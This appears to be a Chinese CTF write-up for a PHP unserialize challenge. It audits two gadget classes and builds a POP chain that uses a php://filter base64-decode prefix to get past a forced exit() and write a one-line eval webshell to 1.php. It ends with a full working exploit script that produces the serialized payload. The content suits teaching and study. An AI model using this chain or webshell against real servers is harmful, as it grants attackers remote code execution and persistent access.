利用点
- base64 + filter协议绕过死亡exit
源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
代码审计
class B
base64 + filter协议绕过死亡exit
B类有一写文件函数,目标应该是写shell,位于B::set()
$result = file_put_contents($filename, $data);
先看$filename
$filename = $this->getCacheKey($name);
追一下B::getCacheKey()
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
这里的$options是一个数组,可以控制,$name也是一个可以被控制的变量,也就是说文件名和前缀都是可以控制的,经过观察,这里的$name来自于B::set()传入
public function set($name, $value, $expire = null): bool
然后看一下写入的文件内容$data,往上追一步
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
这里首先命令是拼接在exit()之后的,如果正常写入是永远无法执行的,也就是死亡exit(),关于死亡exit()的绕过,P神有文章讲解
谈一谈php://filter的妙用@PHITHON
简而言之就是将命令先base64,拼接到exit()之后,再用filter协议base64解码写入。这里的sprintf是12位数字,传入的$expire=0即可。由于解码自动跳过非法字符,这样死亡exit()就会只剩下base64密文php//000000000000exit 还有后面的命令,同时由于base64是每4字符一组,所以后面$data要补三个可见字符凑够12字符,这样传入的base64密文如下,再经过一次base64后就是php命令了
php
刚好file_put_contents支持解析伪协议:那么B::$options['prefix'] 赋值为php://filter/write=convert.base64-decode/resource= ,传入B::set()的参数$expire赋值为任意不超过12位数字,先去追一下$expire的来源
格式化为int
$expire = $this->getExpireTime($expire);
然后有个赋值判断
if (is_null($expire)) {
$expire = $this->options['expire'];
}
然后$expire来源于set传参
public function set($name, $value, $expire = null): bool
因此$expire可以是来自传参,也可以是B::$options['expire']
搞定了$expire,再向上追一下$data,要绕过死亡exit(),上面有个数据压缩的函数,这里不能进去,把options['data_compress'] 赋值为false
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
往上一步找到$data的来源了,来自B::serialize($value)
$data = $this->serialize($value);
$value来自B::set() 的传参,这个serialize函数是B类自己定义的,这里可控,作为传入一个函数方法
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
关于B::serialize()的说明
这一步serialize是一次多余的操作,我们的目标就是要经过这个函数处理,但是返回的内容不变,可以选择编码(传入base64,再此解码)、或者是去除传入命令两侧的空白字符(rtrim)等,啥都不干就行,payload默认选择进行一次base64解码
class A
看看A类的析构函数
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
要进入save函数,首先要使得A::$autosave赋值为0,save函数调用了set函数
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
只要让A::$store赋值为new B()就能调用B::set(),也就完成了两个类的联系。这里的$key对应写入的文件名,$contents对应写入的内容,看一下它的来源
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
这里的$cleaned来源于$A::cache ,是一个空数组;写入内容又来源于A::$complete
构造payload
最后一个难点在于构造payload赋值给A::$complete
- 首先:经过一次B::serialize(),这里我们进行一次多余的操作也就是base64_decode,因此
A::$complete 需要一次base64_encode()
见上文关于B::serialize()的说明
- 之后:就是绕过死亡exit(),之前算过要凑3个字符,之后就是待执行命令的base64编码
A::$complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
写入一句话木马用蚁剑连接
POP链构造
根据上面代码审计,构造POP链
file_put_contents();
B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();
A::save() + A::getForStorage() + A::cleanContents();
A::__destruct();
class B
class B{
public $options;
public function __construct(){
$this->options = array();
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = 0;
$this->options['serialize'] = 'base64_decode';
$this->options['expire'] = 0;
}
}
class A
class A{
protected $key;
protected $store;
protected $expire;
public function __construct(){
$this->autosave = 0;
$this->store = new B();
$this->cache = array();
$this->key = '1.php';
$this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
}
}
EXP
<?php
class A{
protected $key;
protected $store;
protected $expire;
public function __construct(){
$this->autosave = 0;
$this->store = new B();
$this->cache = array();
$this->key = '1.php';
$this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
}
}
class B{
public $options;
public function __construct(){
$this->options = array();
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = 0;
$this->options['serialize'] = 'base64_decode';
$this->options['expire'] = 0;
}
}
echo urlencode(serialize(new A()));
完
欢迎在评论区留言
|